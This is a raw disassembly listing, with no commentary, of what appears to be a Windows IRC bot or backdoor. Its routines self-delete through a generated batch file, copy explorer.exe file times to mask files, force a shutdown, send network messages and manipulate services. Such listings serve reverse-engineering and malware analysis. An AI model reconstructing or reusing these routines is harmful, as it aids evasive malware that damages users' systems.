fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417C5A
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417C5A: ; CODE XREF: sub_417ADD+111j
; sub_417ADD+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C1E0
add esp, 0Ch
loc_417C6D: ; CODE XREF: sub_417ADD+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41AFE0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41D648
pop ecx
test eax, eax
pop ecx
jnz loc_417ED5
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_417DCC
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp esi, 3
jz short loc_417CDB
cmp eax, 1
jnz loc_417DCC
loc_417CDB: ; CODE XREF: sub_417ADD+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D1D
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_417D39
; ---------------------------------------------------------------------------
loc_417D1D: ; CODE XREF: sub_417ADD+207j
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_417D39: ; CODE XREF: sub_417ADD+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
cmp esi, 3
jz short loc_417D62
cmp eax, ebx
jnz short loc_417DCC
loc_417D62: ; CODE XREF: sub_417ADD+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DA7
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417DC5
; ---------------------------------------------------------------------------
loc_417DA7: ; CODE XREF: sub_417ADD+28Fj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417DC5: ; CODE XREF: sub_417ADD+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_417DCC: ; CODE XREF: sub_417ADD+1C9j
; sub_417ADD+1F8j ...
cmp esi, 6
jge loc_417E55
cmp esi, 5
jge short loc_417DED
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
jmp short loc_417E0B
; ---------------------------------------------------------------------------
loc_417DED: ; CODE XREF: sub_417ADD+2FBj
call sub_41B8E2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
loc_417E0B: ; CODE XREF: sub_417ADD+30Ej
call sub_41C798
test eax, eax
jnz short loc_417E2E
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
jmp short loc_417E4B
; ---------------------------------------------------------------------------
loc_417E2E: ; CODE XREF: sub_417ADD+335j
cmp eax, 1
jnz short loc_417E55
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
loc_417E4B: ; CODE XREF: sub_417ADD+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417E55: ; CODE XREF: sub_417ADD+2F2j
; sub_417ADD+354j
cmp [ebp+var_C], 2
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
cmp [ebp+var_C], eax
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417ED5: ; CODE XREF: sub_417ADD+1B1j
; sub_417ADD+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B5F0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp
; sub_401ACD+C28p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_417F79
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_417F79
cmp [ebp+arg_8], esi
jz short loc_417F79
cmp byte ptr [eax], 0
jz short loc_417F79
push ebx
push edi
call sub_426464
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_417F74
push [ebp+arg_4]
push edi
call sub_41B900
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417F6D
sub eax, edi
push eax
push edi
push ebx
call sub_41B5F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41AFE0
push eax
push [ebp+arg_8]
push ebx
call sub_41C1E0
push [ebp+arg_4]
call sub_41AFE0
add eax, esi
push eax
push ebx
call sub_41BEC0
push ebx
push edi
call sub_41BEB0
add esp, 30h
mov esi, edi
loc_417F6D: ; CODE XREF: sub_417EEE+3Cj
push ebx
call sub_41B0B1
pop ecx
loc_417F74: ; CODE XREF: sub_417EEE+2Bj
mov eax, esi
pop ebx
jmp short loc_417F7B
; ---------------------------------------------------------------------------
loc_417F79: ; CODE XREF: sub_417EEE+Cj
; sub_417EEE+13j ...
xor eax, eax
loc_417F7B: ; CODE XREF: sub_417EEE+89j
pop edi
pop esi
pop ebp
retn
sub_417EEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F7F proc near ; CODE XREF: sub_401955+E9p
; ___:004102F0p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41B590
mov esi, [ebp+arg_0]
push esi
call sub_41AFE0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_417FB5
or eax, 0FFFFFFFFh
jmp short loc_418028
; ---------------------------------------------------------------------------
loc_417FB5: ; CODE XREF: sub_417F7F+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_417FD7
loc_417FC1: ; CODE XREF: sub_417F7F+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_417FCE
cmp dl, 0Dh
jnz short loc_417FD2
loc_417FCE: ; CODE XREF: sub_417F7F+48j
and byte ptr [ecx+esi], 0
loc_417FD2: ; CODE XREF: sub_417F7F+4Dj
inc ecx
cmp ecx, eax
jl short loc_417FC1
loc_417FD7: ; CODE XREF: sub_417F7F+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418008
lea edi, [ebp+var_7CC]
loc_417FE4: ; CODE XREF: sub_417F7F+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418003
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418003
cmp ebx, 1F4h
jge short loc_418008
mov [edi], ecx
inc ebx
add edi, 4
loc_418003: ; CODE XREF: sub_417F7F+69j
; sub_417F7F+74j
inc edx
cmp edx, eax
jl short loc_417FE4
loc_418008: ; CODE XREF: sub_417F7F+5Dj
; sub_417F7F+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418026
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41C310
add esp, 0Ch
loc_418026: ; CODE XREF: sub_417F7F+8Ej
mov eax, ebx
loc_418028: ; CODE XREF: sub_417F7F+34j
pop esi
pop ebx
leave
retn
sub_417F7F endp
; =============== S U B R O U T I N E =======================================
sub_41802C proc near ; CODE XREF: sub_418086+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418065
push ebx
mov ebx, edi
loc_418049: ; CODE XREF: sub_41802C+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418068
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418049
pop ebx
loc_418065: ; CODE XREF: sub_41802C+18j
pop edi
pop esi
retn
sub_41802C endp
; =============== S U B R O U T I N E =======================================
sub_418068 proc near ; CODE XREF: sub_41802C+25p
; sub_418086+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41D74C
cmp al, 61h
pop ecx
jl short loc_418083
cmp al, 7Ah
jg short loc_418083
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418083: ; CODE XREF: sub_418068+Ej
; sub_418068+12j
xor eax, eax
retn
sub_418068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418086 proc near ; CODE XREF: ___:0041532Dp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BB20
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41AFE0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41802C
add esp, 14h
dec esi
mov edi, esi
loc_4180C4: ; CODE XREF: sub_418086+B6j
test esi, esi
jle short loc_418142
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41D74C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41813A
loc_4180EA: ; CODE XREF: sub_418086+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418068
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41810B
mov eax, ecx
loc_41810B: ; CODE XREF: sub_418086+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41813E
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41D74C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4180EA
loc_41813A: ; CODE XREF: sub_418086+62j
dec edi
dec esi
jmp short loc_4180C4
; ---------------------------------------------------------------------------
loc_41813E: ; CODE XREF: sub_418086+8Aj
xor eax, eax
jmp short loc_418147
; ---------------------------------------------------------------------------
loc_418142: ; CODE XREF: sub_418086+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418147: ; CODE XREF: sub_418086+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p
; sub_401ACD+789Ep
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 2660A00h
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 27A0000h
lea eax, [ebp+var_100]
loc_418185: ; CODE XREF: sub_41814C+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418191
cmp cl, 9
jnz short loc_418194
loc_418191: ; CODE XREF: sub_41814C+3Ej
inc eax
jmp short loc_418185
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_41814C+43j
; sub_41814C+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4181AE
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418194
cmp cl, 21h
jl short loc_418194
loc_4181AE: ; CODE XREF: sub_41814C+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DA72C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41814C endp
; =============== S U B R O U T I N E =======================================
sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp
push esi
push 0
call dword_4CAF44
test eax, eax
jz short loc_41820D
push 1
call dword_4CAF64
mov esi, eax
test esi, esi
jz short loc_41820D
push edi
push esi
nop
call near ptr 27B06A1h
push esi
mov edi, eax
call near ptr 27B0000h
nop
call dword_4CAFC8
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41820D: ; CODE XREF: sub_4181D6+Bj
; sub_4181D6+19j
xor eax, eax
pop esi
retn
sub_4181D6 endp
; =============== S U B R O U T I N E =======================================
sub_418211 proc near ; CODE XREF: sub_401ACD+7661p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CAF80
mov ebp, eax
cmp ebp, esi
jz short loc_41828D
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 27C0000h
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 27B0E77h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41B886
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CAFD0
push esi
push 1
push 4C9h
push ebp
call dword_4CAFD0
push ebx
call near ptr 27B0B69h
nop
push edi
nop
call near ptr 26408F3h
push 1
pop eax
pop ebx
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41828D: ; CODE XREF: sub_418211+16j
xor eax, eax
loc_41828F: ; CODE XREF: sub_418211+7Aj
pop edi
pop esi
pop ebp
retn
sub_418211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418293 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CB030
test eax, eax
jz short loc_418332
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 27D0000h
push ebx
mov ebx, dword_427068
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 27C05F8h
push esi
call ebx
loc_418332: ; CODE XREF: sub_418293+2Aj
; sub_418293+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418293 endp
; =============== S U B R O U T I N E =======================================
sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419651
pop ecx
pop ecx
push 50005h
push 6
call dword_4CAEB4
neg eax
sbb eax, eax
neg eax
retn
sub_418337 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418359 proc near ; CODE XREF: sub_401ACD+2754p
; ___:0041686Bp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_41837D
cmp dword_4CB044, esi
jnz short loc_41837D
push esi
call sub_401000
pop ecx
loc_41837D: ; CODE XREF: sub_418359+13j
; sub_418359+1Bj
call sub_40B2BF
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 2680000h
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 26E0921h
mov edi, eax
cmp edi, esi
jbe loc_4184DD
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 26D0000h
nop
push edi
nop
call near ptr 26408F3h
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_43D128
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 2670000h
push eax
nop
call near ptr 2650000h
lea eax, [ebp+var_15C]
push eax
call near ptr 2660E71h
nop
cmp eax, 0FFFFFFFFh
jz short loc_418485
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 2660D51h
loc_418485: ; CODE XREF: sub_418359+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 27E0000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2640BCCh
loc_4184DD: ; CODE XREF: sub_418359+72j
pop edi
pop esi
leave
retn
sub_418359 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26B0618h
cmp [ebp+var_84], 2
jnz short loc_418577
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CAEF4
push edi
push eax
call dword_4CAF04
test eax, eax
jz short loc_418569
push [ebp+arg_10]
push offset dword_438984
loc_418542: ; CODE XREF: sub_4184E1+94j
lea eax, [ebp+var_294]
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
jmp short loc_4185A1
; ---------------------------------------------------------------------------
loc_418569: ; CODE XREF: sub_4184E1+57j
call near ptr 2660A00h
nop
push eax
push offset unk_43895C
jmp short loc_418542
; ---------------------------------------------------------------------------
loc_418577: ; CODE XREF: sub_4184E1+3Fj
lea eax, [ebp+var_294]
push offset unk_43892C
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4185A1: ; CODE XREF: sub_4184E1+86j
pop edi
leave
retn
sub_4184E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26B0618h
cmp [ebp+var_90], 4
jnz short loc_4185FA
cmp [ebp+var_8C], 0
jnz short loc_4185E3
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4185FA
leave
retn
; ---------------------------------------------------------------------------
loc_4185E3: ; CODE XREF: sub_4185A4+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4185F5
cmp [ebp+var_8C], 5Ah
jnz short loc_4185FA
loc_4185F5: ; CODE XREF: sub_4185A4+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4185FA: ; CODE XREF: sub_4185A4+27j
; sub_4185A4+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call near ptr 2680C3Fh
nop
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
nop
call near ptr 2690000h
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41D834
lea eax, [ebp+var_F8]
push eax
call sub_41D817
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 27603AFh
mov eax, edi
pop edi
pop esi
leave
retn
sub_4185A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418684 proc near ; CODE XREF: sub_40111D+F7p
; ___:0040E6E2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 267098Eh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_427700
call sub_41C798
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418684 endp
; =============== S U B R O U T I N E =======================================
sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418719
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_4389A8[esi]
push edi
push eax
call sub_41873B
add esp, 14h
test eax, eax
jnz short loc_418709
push edi
push off_4389A4[esi]
push offset unk_438AB8
loc_4186F9: ; CODE XREF: sub_4186C1+56j
mov esi, offset dword_4DAFF0
push esi
call sub_41B886
add esp, 10h
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_418709: ; CODE XREF: sub_4186C1+2Aj
push eax
call sub_4187DD
pop ecx
push eax
push edi
push offset unk_438A8C
jmp short loc_4186F9
; ---------------------------------------------------------------------------
loc_418719: ; CODE XREF: sub_4186C1+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DAFF0
push off_4389A0[eax*4]
push offset unk_438A68
push esi
call sub_41B886
add esp, 0Ch
loc_418736: ; CODE XREF: sub_4186C1+46j
mov eax, esi
pop edi
pop esi
retn
sub_4186C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41873B proc near ; CODE XREF: sub_4186C1+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CAF68
mov edi, eax
cmp edi, ebx
jnz short loc_418762
nop
call near ptr 2660A00h
mov ebx, eax
jmp short loc_4187D7
; ---------------------------------------------------------------------------
loc_418762: ; CODE XREF: sub_41873B+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CAE50
mov esi, eax
cmp esi, ebx
jnz short loc_418782
call near ptr 2660A00h
nop
mov ebx, eax
jmp short loc_4187CF
; ---------------------------------------------------------------------------
loc_418782: ; CODE XREF: sub_41873B+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4187B5
cmp eax, 3
jz short loc_4187A6
jle short loc_4187C8
cmp eax, 6
jg short loc_4187C8
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CAEBC
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187A6: ; CODE XREF: sub_41873B+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CAE58
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187B5: ; CODE XREF: sub_41873B+4Dj
push esi
call dword_4CAEC0
loc_4187BC: ; CODE XREF: sub_41873B+69j
; sub_41873B+78j
test eax, eax
jnz short loc_4187C8
nop
call near ptr 2660A00h
mov ebx, eax
loc_4187C8: ; CODE XREF: sub_41873B+54j
; sub_41873B+59j ...
push esi
call dword_4CAE6C
loc_4187CF: ; CODE XREF: sub_41873B+45j
push edi
call dword_4CAE6C
pop esi
loc_4187D7: ; CODE XREF: sub_41873B+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_41873B endp
; =============== S U B R O U T I N E =======================================
sub_4187DD proc near ; CODE XREF: sub_4186C1+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418892
jz loc_41888B
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418855
jz short loc_41884B
mov ecx, eax
sub ecx, 3
jz short loc_418841
dec ecx
dec ecx
jz short loc_418837
dec ecx
jz short loc_41882D
sub ecx, 51h
jz short loc_418823
sub ecx, 24h
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4188FA
